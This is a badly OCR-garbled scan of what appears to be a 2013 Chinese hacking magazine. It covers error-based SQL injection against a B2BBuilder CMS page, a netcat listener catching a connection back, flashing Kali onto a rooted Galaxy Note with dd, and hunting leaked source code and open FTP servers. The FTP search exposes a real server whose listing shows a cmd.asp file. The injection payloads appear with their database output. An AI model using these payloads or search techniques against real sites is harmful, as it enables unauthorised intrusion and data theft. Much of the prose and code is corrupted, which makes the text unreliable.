F:\Pentest\temp\Ya Toolsi\lTools\Web\nc>nc -luvup 9999
listening on [anyl 9999 ...

onnect to [192.168.1.1061 from PC201307272206 [192.168.
cct

ache

F:\Pentest\temp\Ya Toolsi\Tools\Weh\n
listening on [anyl 8889 ...

connect to [192.168.1.16861 from PC201.
1s

it.goldfish.rc
it.rc

& 6-3-2
VELEE 4. http://pan.baidu.com/share/link?shareid=1079472737&uk=3778218071
(43058) FiiTgmE: i

#8475, B2BBuilder 4IRS MySql #HRETEANRJ LRSS

E&: BEAH
Kk H: codePlay Team
W4k http://www.cOdeplay.com
M RS window 7
%ljb{i(ﬂ'"_
MARER: ARG 2e % S PHP IS5 2 N ERIA
AREP i
£ aboutus.php CHFHIEE 56 17, HIL—7F A A

Stype=empty($_GET['type'])?$all_web[0]['con_id']:5_GET['type'];//type AL AL IE, E#ZAH ANEHEI R
if(lempty(Sdpid))
Ssub_sql="and con_province='Sdpid' and (con_city=" or con_city is NULL) ";
if(lempty(Sdcid))
Ssub_sql="and con_city='Sdcid" ";
Ssqgl="select con_desc,template,con_title,title,keywords,description,msg_online from ".WEBCON." WHERE
con_id='Stype' Ssub_sql";
$db->query($sql);
Sde=Sdb->fetchRow();
Stpl->assign("de",Sde);

21 M AT DA B 4 RS v E N RO E B, i 6-4-1:

i

I
=
S
Sl
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= LoadURL  htip:/flocalhost/b2b/aboutus,php?type=1" aNd (SELECT 1 FROM (select count(*},concat(floor(rand(0)*2),(substring((Select (user()),1,62)))a from information_schema.tables group by )b) and
b splitURL
' Bxecute

[] Enable Post data [ Enable Referrer
€& | @ localhost/b2b/ahoutus php?type=1" aNd (SELECT 1 FROM (select count(*)concat{flos @) NEE G @ (& Bk AR & M- ®- g
B wEes | ERLS RN || SRR O] RemE

select con_desc, tenplate, con_title, title, keywords, description, nsg_online from b2bbuilder _web_con WHERE con_id= 1" a¥d (SELECT L FROM (select

count (%), concat (floor (rand (0)#2), (substring((Select (user())),1,62)))a fron information schema. tables group by alb) and 'z'='z Duplicate entry
" lroot@localhost’ for key *group_key

K 6-4-1
FI AR 4 -
FE—F: FIHET floor i

http://localhost/b2b/aboutus.php?type=1'aNd (SELECT 1 FROM (select
count(*),concat(floor(rand(0)*2),(substring((Select (user())),1,62)))a from information_schema.tables group by

a)b) and 'z'="z

5 A ExtractValue R4, WK 6-4-2:

http://localhost/b2b/aboutus.php?type=1' and extractvalue(1, concat(0x5c, (select user() from

information_schema.tables limit 1))) and 'z'='z

@ Lload URL  httpy/localhost/b2b/aboutus.php?type=1' and extractvalue(t, concat{DxSc, (select user) from information_schematables limit 1}}) and '7='z
4 splitURL +
b Execute

[ Enable Post data [] Enable Referrer
€ | @ localhost/b2b/aboutus.phptype=1' and extractvalue(1, concat(0xSe, (select user() from information_sche (@) NEEC @ W 3E <ol A M- e-FEH
B wEms | JalErss D wEEE || SR ) e

,

select con_desc, template, con_title, title, keynords, description, msg_online from b2bbuilder_web_con THERE con_id='I" and extractvalue(l, concat(0xdc, (select user() from

information_schema, tables limit 1)) and "z'='z’ ¥PATH syntax efror: ‘root@localhost

& 6-4-2
5 =FhFIF UpdateXml #k4%, WK 6-4-3:

http://localhost/b2b/aboutus.php?type=1' and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1)) and

Load URL  httpyflocalhost/blb/aboutus phpltype=1" and 1={updatexml(l concat{0x5e24 (select user() 0s5e24).1)) and 7 ='z

@
I spituRL
' Beecute

7] Enable Post data [] Enable Referrer
€ | @ localhost/b2b/aboutus. phpPtype=1' and 1={updaterml(l concat0x5e24 select user(), OxSe24) 1) and 'z @) VEEC @ & EE <l P i m-0- 2~ g~

b wEss | yiess U BEE || SER L) R

select con_dese, template, con_title, title, keywordsdescriptionnssontine—fron bZbbuilder web_con VHERE con id=' 1" and 1=(updatexml (1, concat (0x5e2d, (select
user()), 033e24), 1)) and 'z'="z’ XPATH syntax eryor: " “Sroot@localhost'§

K 6-4-3
EVUFFR: name_cons HETE N«

http://localhost/b2b/aboutus.php?type=1' and exists(select*from (select*from(select

name_const(@ @version,0))a join (select name_const(@ @version,0))b)c)

(&358) TSt WX

i

liais
=
S
S
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# & ENURON BBAHA

#1715, Galaxy Note 10.1 3% Kali ARM

YE# . akast/fa[ff3&
KH: NEURON
Mik: ngsst.com

—. Root Android

Kali ‘B 5 [ SCRS A 28 1 ARM ‘22 & A BT/ [ ) A 5 Galaxy Note 10.1 #1 Raspberry Pi GEEL
P:3L%], ODROID U2 #i[H. =/ Chromebook ARM Z[E. MK/SS808 & EH#l LAl . {H

#& Raspberry Pi PERE I —ML, X HLEAN4H— T Galaxy Note 10.1 ) 2225 I FENE

T 3R Galaxy Note 10.1 [1) root AUFR, HLAEM) root THRH T, % LKA 23 4F,

B PLEAT root 1, 360 —## Root LULRETHAILH, 4k 7-1-1:

© 360—Root

@ REE  FHMROOTHIRAT) ! oF

ROOT /&, @M H+5 158

BVERRG0FEN TP, kiR ST EE

%a!')

| ;\ EAERONREF ok
/’ BV ER360FBE , WU TEBRENE. . 8%, . . Bk
0 IMMEERENRSTY, ok
REFER60FEH AR BN, BBE 2 ¥5. 4R
! = I
Febk
' -_ 2 il
& UEYE *T EF I8 gy O G e

B o7-1-1
=\ T8, RE. Em%

Fl kali B /7 http://www.kali.org/downloads/ I # kali-linux-1.0.4-armhf-n8000.img.xz,
http://cdimage.kali.org/kali-linux-1.0.4-armhf-n8000.img.xz , f#Jk xz 1, R4
kali-linux-1.0.4-armhf-n8000.img FE iy 4 N linux.img. F F#X recovery.img C14:
http://docs.kali.org/downloads/recovery.img, & 7-1-2:
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kali-linux-1.0.4-armhf-n8000.img EE .

B |=a | ixsmiEs | wlaeases |

|1-:al:i.—l:i.r|.1_u{—1. O 4—armhf—oS000. 1mz

e FREABE R G img)

FTHFA=: ot Windews FLEIRMER 23 =21 (o B
| E:“EALT

Fo]ne B. 83 GE (T, 340, 032, 000 ==77)

S A=A B.83 GE (T, 340, 032, 000 =230

(e R o1aEEeH31H. 15:19:15

Kl 7-1-2
2 recovery.img 1l linux.img ™ SCf 51 £ P4 1) /storage/sdcardo H & R 1T, 41 7-1-3:
= Tablet
Gk_ﬁ’ - ¥ ITEHL ¥ GT-N8010 ¥ Tablet +

MR HwE\E EENV) IEM  #E(H)

EELEig
] Alarms Amap Android
J i i o=
|
DCIM DioDict3B Download
i i o=
[ ) Music Notifications peel
g i it it
Playlists Podcasts Ringtones
i it it
linux.img recovery.img
S BB BRI
6.23 GB 6.14 MB
K 7-1-3
=. T# ADB

ADB 4 # N (Android Debug Bridge, #& SDK J Tools X3 R AL % Android Fl 233 1E 1K)
H 84, e M AE @3 adb F-ATTAT BLEE Eclipse W7 [ DDMS K i1 Android
¥ EBIEATH, JATTDVE B AT B HRAS . 38n] DUEAT DUR I ERAF :
L RO T A BT UBLAES R AAS,  WnRFH EL Android RS+

2. TE#% FIEAT shell /74

3. EHR A BT UL b1 T i 1

4, FERAA BT NS ES EEH sk S

V. #4551 recovery 43X

IS emd A ATIEAT B NEUY adb TR, AT dd dr 2T 810 recovery 73 [X, iE TR
HE TR UUKE, HOIRAET P B s AR 1, A BRI

X BB JEAE 1 recovery 43X & 4)) N recovery.img_orig XA, —FE{E/storage/sdcard0/ H & T
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i, A DA E SRR Z I b, Bl sk a4, il 7-1-4.

E:\KALNadb shell>adb shell

1|shell@android:/ $ su

1|shell@android:/ # dd if=/dev/block/mmcblkOp6 of=/storage/sdcard0/recovery.img_orig
shell@android:/ #exit

E:\KALN\adb shell>adb shell

* daemon not running. starting it now *

* daemon started successfully *

shell@android:/ $ dd if=/dev/block/mmcblkOp6 of=recovery.img_orig

dd if=/dev/block/mmcblkOp6 of=recovery.img_orig

/dev/block/mmcblkOp6: cannot open for read: Permission denied

1|shell@android:/ $ su

su

shell@android:/ # dd if=/dev/block/mmcblkOp6 of=recovery.img_orig

dd if=/dev/block/mmcblkOp6 of=recovery.img_orig

recovery.img_orig: cannot open for write: Read-only file system

1|shell@android:/ # dd if=/dev/block/mmcblkOp6 of=/storage/sdcard0/recovery.img_orig
=/storage/sdcard0/recovery.img_orig <
16384+0 records in

16384+0 records out

8388608 bytes transferred in 2.433 secs (3447845 bytes/sec)

shell@android:/ #exit

adb shell

:\KALINadh shell>adbh shell
daemon not running. starting it now *
daemon started successfully =
shellPandroid:/ $ dd if=/dev/block/mmchlk@p6 of =recovery.img_orig
d if=/dev/block/mmchlkBpb of =recovery.img_orig
dev/block/mmchlk@pb: cannot open for read: Permission denied
H ishellPandroid:/ § su
su
shellPandroid:/ # dd if=/dev/block/mmchlk@p6 of =recovery.img_orig
d if=/dev/block/mmchlkBpb of =recovery.img_orig
recovery.img_orig: cannot open for write: Read-only file system
[l ishellPandroid:/ # dd if=/dev/block/mmchlk@p6 of =/storage/sdcardB/recovery.imng_orig
=/storage/sdcard@/recovery.ing_orig
[16384+0@ records in
[16384+@ records out
8388608 hytes transferred in 2.433 secs (3447845 hytes/sec)
shellPandroid:/ #

K 7-1-4
H. BEEFH recovery 4 [X
TE A IFIRA TR S ) recovery 41X 25, AT AT BAFF G656 T M kali 5 75 F )
recovery.img SCHFREAT B4R T, Wil 7-1-5:

1|shell@android:/ # dd if=/storage/sdcard0/recovery.img of=/dev/block/mmcblkOp6
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EX C:\Windows\system32\cmd.exe

E:“KALI “adbh shell>adb shell

shellRandroid:/ & su

Tu

shellBandroid:/ # dd if=recovery.img of =/dev/block/nmchlkBpo

dd if=recovery.ing of=/dev-hlock/mmchlkBpt

recovery.img: cannot open for read: Mo such file or directory

1ishell@android:/ # dd if=/storage/sdecardd/recovery.img of =/dev/hlock/mmchlkBph
ry.img of =/dev/hlock/nnchlkBp6 <
12588+ records in

12588+ records out

h445856 hytes transferred in 1.563 secs (4123516 hytes/sec)

chellBandroid:/ # exit

exit

shellBandroid:/ % exit

exit

E:“KALI“adb shell>

B 7-1-5

E:\KALN\adb shell>adb shell

shell@android:/ S su

su

shell@android:/ # dd if=recovery.img of=/dev/block/mmcblkOp6

dd if=recovery.img of=/dev/block/mmcblkOp6

recovery.img: cannot open for read: No such file or directory

1|shell@android:/ # dd if=/storage/sdcard0/recovery.img of=/dev/block/mmcblkOp6
ry.img of=/dev/block/mmcblk0p6 <
12588+0 records in

12588+0 records out

6445056 bytes transferred in 1.563 secs (4123516 bytes/sec)

shell@android:/ # exit

exit

shell@android:/ S exit

exit

E:\KALN\adb shell>

75~ EEHEA kali

B TE R S R I, RIS 4% H Y+ g ik PRI recovery BT, XY HEEY Samsung
Galaxy Note 10.1” FRFINFATF “ HLEGE ", (HORKFZE “ SEINE”7, XFEEAT B3 &% kali
] Gnome £IH] T o

BRI root #HY & : changeme, FEIAEZIDIE 23 . 0] LLE IS S HFT F Bf 74 Applications
-> Universal Access -> Florence Virtual Keyboard. W5R&A & BN TLLM TR matir 7.
M2 77 A TR B B AU 2 A VNC 2 7 0, T BEE N recovery 152 20T A R AT LA
15 X R 224 7 3o

G RCR, WK 7-1-6,7-1-7:
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Applications

A Accessories
#0 Etectronics
’ Graphics
. Internet

'\, 7op 10 Security Toots

Hll office
# Programming
B Sound & Video

> Q Information Gathering
? T Vutnerability Analysis
> T Web Applications

{3 system Tools >|  GPU Tools
€ Universal Access > Wireless Attacks > o Offine Attacks
% Exploitation Tools > ¢* Online Attacks

& sniffing/Spoofing > ¢ Passing the Hash

Woiviare Hacking

@) Reporting Tools

§T system Services

K 7-1-6

Applications Places @ (I

@ Sat Aug 31, 8:19 AM
-

B 7-1-7

(£358) TilEdmtE: &3¢ _sharow

= 1 T
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2. BARBERIREM B R RIRAG

e akast/fA[ 3%
K H: NEURON
Mk: ngsst.com

—. KB

FTAMEENK, 7 ER A A

i 2, I A

I 2 AT AR FH SRR BHAT T AR 245 B A AR VU 34, SR B AREOR ), (H IR AT ok ?
T, R A

SRR TN 51 ) AR B AR

NHEAH R, WAAEEAER, MRS

FATTII S 2 R ACAG I -+ -

ZHEEATFZIIR, AR T

—. REBRAEER

Eb Gk AN I P e 2 PP IR ARARS, AR T Google MIARASFEE V- & kb 1Tk T4E, T
XFEIREFP BB AR At e ? ARATIXE WX sl YA A AN R TR I, (AR AEH svn & fE
TEX ARG T, BB A RE?

svn checkout
http://shenchanglicujinzhongxin88.googlecode.com/svn/trunk/shenchanglicujinzhongxin88-read
-only, . 7-2-1,7-2-2,7-2-3:

frunk/Whir System/Module/Reply - shenchanglicujinzhongxings ...
code. google.com/p/...fsource/.._\Whir_System/. /Reply?spec... - Btk
Filename, Size, Rev, Date, Author. Default.aspx - 4.7 KB - 2 - Aug 9, 2012 -
xiaojiang1014 - Default.aspx.cs - 3.1 KB - 2 - Aug 9, 2012 - xiaojiang1014 - Replylnfo.

K 7-2-1

@ Login.aspx - shenchanglicujinzh in88 - shenchanglicujinzhongxings - Google Project Hosting - Moxzilla Firefox

STEHE)  SERE) =EN)  BRE) BEE) TEm  ®shie)
| € Login.aspx - shenchanglicujinzhangx... | + |

€ | @ code.google.com/p/shenchanglicujinzhongxin28/source/browse/trunk/Whir_System/Login.aspx

ﬁ shenchanglicujinzhongxin88

shenchanglicujinzhongxin88

Project Home WWiki Issues Source

Checkout Browse Changes

Source path: swn/ trunk/ Whir_System/ Login.aspx

1 =@ Page Language="C#" AutoEventWireup="true” CodeFile="Login.aspx.cs” Inherits="[[ESEa Login” %=
2
3 <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” "http://www.w3.org/TR/xhtml1/DTD/xhtmll-tr
4  «<html xm'lns:"http' "'ww»\ w3.org/1999/xhtm] ">
5 <head runat="server™=
6 <title-FAfR i bd F=h{E# d.r - EiERG</titl e
7 =1ink href="Skin/Default/Css/css.css" r'e'l— sty'lesheet type— "text/css" >
B8 =Tink href="Skin/Default/Css/softkey.css" rel="stylesheet” type=" text/css =
9
10 <script type="text/javascript” src="1Js/JKeyword/keyboard.js" charset="UTF-8"=</script>
11 =script type="text/javascript” src="Js/shal.js” charset="UTF-8">=/script>
iz =T1ink rel="stylesheet™ twpe="text/css" href="1s/IKeyword/kevboard.css">
13
14 <script language="javascript™=
15 if (top.location !'= self.location)
16 top. location=self. location;
ir
18
19 Function shalPass(){
20 wvar pwd = document.getElementByTd("txt2");
21 pwd.value = calcSHAL(pwd.value);
22 return true;
23
K 7-2-2
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@ Login.aspx - shenchanglicujinzhongxin8 - shenchanglicujinzhongxinB8 - Google Project Hosting - Mozilla Firefox -10]3
MHE REE HEV) BEE #=@ T80 #&sH

|ﬁ Login.aspx - shenchanglicujinzhong... |T|

& @ codegooglecom/p/ EE MHBRTAZRAIELSHERAT Mountain View, CA US B~ v BE |- Gooc P| & @ & -

akast@ngsst.com v | My favorites v | Profile | Sign out _

ﬁ shenchanglicujinzhongxin88

shenchanglicujinzhongxing8 Search projects

Project Home Wiki Issues Source

Checkout Browse Changes

Source path: svn/ trunk/ Whir_System/ Login.aspx & Edit file irl2 r40
1 %@ Page Language="C#" AutoEventWireup="true” CodeFile="Login.asp> =" Tobh-nis-_"PIEFEDwe | o0 o Hide details
2 Change log
3 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "h A

transitional.dtd"> / / / 7 by xiaojiang1014 on Apr 6, 2013 Diff
4 <html xmIns="http://www.w3.0rg,/1999/xhtm] "> [No log message]
5 «<head runat="server”x
6 citle=EHER R EAER AL - SEES titlen
7 <1ink href="skin/Default/Css/css.css” rel="stylesheet™ type=" . N -
8 <link href="skin/Default/Css/softkey.css” rel="stylesheet” ty Go to: IItrunkNVhlr_SystemFLogln.aspx j
g
10 <script type="text/javascript” src="Js/IKeyword/keyboard.js" rhowrobtImr et s leseSad.
11 <script type="text/javascript” src="1s/shal.js" charset="UTF- Qlder revisions
12 <1ink rel="stylesheet” twype="text/css" href="1s/JKeyword/keyk
13 e 12 by xiaojiang1014 on Jan 23, 2013 Diff
14 <script language="javascript”= == -
15 if (top.location != self.location) 1 by xiaojiang1014 on Jan 19, 2013 Diff
16 top. location=self. location; 9 by xiaojiang1014 on Aug 22, 2012 Diff
e All revisions of this file
19 function shalPass(){
20 var pwd = document.getElementById("txt2"); File info
21 pwd. value = calcSHAL(pwd. value);
22 return true; Size: 8140 bytes, 154 lines
23 } . View raw file
24 </script>

K 7-2-3
=, FTP &
BT HTTP R Z AN, BITFEERD NS ftp KR53, (HIX—HSLH SBR—5&E i
PSR o e bnix LA A ftp 44 28 B BELHEEAR B v] DR 44 U5 0 1 FTP,  FC HL i st A2 3R AT AR 3R
U b JE AR, G s E, Wikl 7-2-4, 7-2-5:

fip search engine for finding free downloads
www ftpsearch net' ~ ERiFLkm

ftp search engine for finding free software downloads, free mp3s, images, shareware or
freeware files on the internet. FTF search engine checks ftp semvers ...

IPCN FTP #4255 |2 FHEMFTPHE &5 |2 cemet fip search engine ...

search.ipcn.orgl =
IPCM FTP search engine #IHRFTP #E 5|8 FHEIAFEFTPEE www ftpsousuo.
com,search.ipcn.org.

Grid FTP# a5 |88

grid ustc_edu.cn/ -
HAED | HEE= | BTFHE | BRE | &80 HERLT. #oflERRiEEER
LIRSS AR SS . 20| B4 | FiT | thht | HREE. FEREFEFS A AFE

NAPALM FTP Indexer
www.searchftps.com/ ~ EiFLEEa

The most advanced FTP Indexer and FTF Search Engine service maintained by
members. Search and download files from public FTP servers.

FTPIE S |- FS I ERFR- P ES 1 ErammPl

www.sowang. com'search/ftpsearch_htm ~

FTRPEE S| ER MR EESFTPERSSEEEHIEFEI R L EOA PEEEHEENE
HARS - A TFTPEFESIES RS+ EmEziVWWWisEE S8, T ...

K 7-2-4

% 106 U1/ Jt 113 TU EAMUIE: http://t.qq.com/hackcto HRHE: 44 15 H Er: 20 TG



(B H) —5 BB AW B Mk : www.hackcto.com Z& &% 5: HACKCTO-2013-09

@ fip://210.17.209.130/ B9Z3| - Moxzilla Firefox - |0
MiHE &®E =EEV) HEEe #=E I80 =:8H

B fip://210.17.209.130/ f3=3| [+

€& P @ apy/21017.2091 FE THINESREAT Kowloon, 00, HKETr - ¥ 5% ¢ ||[H-Gcoo P | & # #

II.'-J'._,I'IfI o A A T el LA B s e |

1 @3 B

iR Kl Er5iE
|| .nessus_test 2 2012/5/11 9:15:00
121111174410p 2012711712 12:44:00
App_Code 2012/4/19  9:34:00
App_Data 2012/4/19  9:34:00
App_GlobalResources 2012/4/19  9:35:00
App_WebReferences 2012/4/19  9:35:00
aspnet_client 2012/4/19  11:59:00
Bin 201274721  21:54:00
@ cmd.asp 1KB 2012/12/12  15:37:00
config 2012/4/19  9:45:00
g default.aspx 7KB 2012/8/1 9:40:00
N Default.htm 2KB 2013/3/30  8:01:00
L] Default.html 2KB 2013/3/30 8:01:00
editor 2012/4/19 0:45:00
|| FileNotFound.htm 3 KB 2012/4/19  11:51:00
#J Global.asax 2KB 2012/4/19 11:51:00
listimg 2012/4/19 15:37:00
MeatUpload 2012/4/19  9:47:00
K 7-2-5
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DAY E] ERSFRSRRIRER

WIREERIERE201 122G ERANE, BSHP14.65mm , mHREIS0N , BRRBRETN A, MLEDERFELT
XA |, BEREET T RARESE , LEDERGEFANM  BLEDRTFETH | SliSHETEREFE
BEERE PROMEIERER. BRLR2AR/W | S2AAERENGag , ARESMONGE. R EEREET
HRERNIRTT XIS,

K 7-2-8
75~ PRS- 77 IREL
H & IR 22 A T RS ——IX i “ BV BRI R 7, SARIRATEMARE, (HiX
BT IR A, KEERRE, WA AL,
L. 27 3 SN R R
T2 EH O R BIER, 2 R R R 8 2R3, (H 2 YRS Af 3 Bl — At gk
IR T A AL T, XA REATAME, BRAEBR] T EXHER APT.
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R ) RGeS 2@, 2 V2 fs H CRe LB AR RESLR], T H—Bo k5t [R
ITHA = HBIFRN RS, ERITESELSHEL T, 2ASMHBEFRELGE SN T
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ULEI AR, FRARRZ 02 € L AR BN 1, SRR BRI 5 LR A4
() — 3K RS R RN B FU i I BT SR AR D RE R < i Bl ——Raspberry Pi (H1 3244

N O“WRIR” , 65N RPi, B3 RasPi/RPi) . & HVFEM T IE ) 235202 “Raspberry Pi 3t
e TR, X —Ee o UIRT R ENRE KA R E . bt EY RS8R
B, HESHERX BN Lt eEKRETEFIERAEKEER, SFEZHHERHAA
WA T A ok, R 31 B 22 4 .
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A o] i Eben Epton IEAX R &M I LA/ E 0L, #ib% 20124F 6 H 1 H, WEIR

RAE AMB AN S, FEX):

AR 14 USB. LALLM, Th3 2.5W,500mA. 256MB W17, 25 3ETC;

B . 2 /> USB. LA LM% . Th#% 3.5W, 700mA. 512MB W 1%, 35 £ 6. & 7-3-1,7-3-2:
——— | | ]

K 7-3-2

—.

Btk HE T 700MHz 1858 Hi = (1) ARM B2 BCM2835 AL B8 IR B 324k, LA SD ~2A
WAERERL, [FIB 3G RCA i T HLAISE LT 5 () ALl HE 422 1T HDMI(SCRE 75 & i ) i A
Pk, DL B AR A AR — IR E R R R B, B RTA PC IR AR TR
NI E NS, SREPAT W T3R8 . U3 Dk FEGRiE MANE % 2 2
fit. Raspberry PiB X A 2Ltk , TLIWNAFE. HIR. A . VFAEE0EL . 7T AHATH S
Z R N SEFR IR AN AT 1080p 52 IR, #RAE RGURHJFIEM Linux 540, .
Debian. ArchLinux, 77 Iceweasel. KOffice 25 {4 HEME I /& AT P28 0| ¥, SC 7 Ab#f
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SLFE),C,  Hl Perl 4IRS, WK 7-3-3:
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NN ERUR debian RAFAR CAFEL kali 21%E RS I REIRhUAS -

F#EhE: http://www.kali.org/downloads/, 4<3CJE kali-linux-1.0-armel-raspberrypi.img.gz,
figt [k Hi 3K kali-custom-rpi.img & G855 15 A o

% Windows R4 F %3545 1% 10 T 2 win32 disk imager, $77F win32 disk imager ‘&2 H a6
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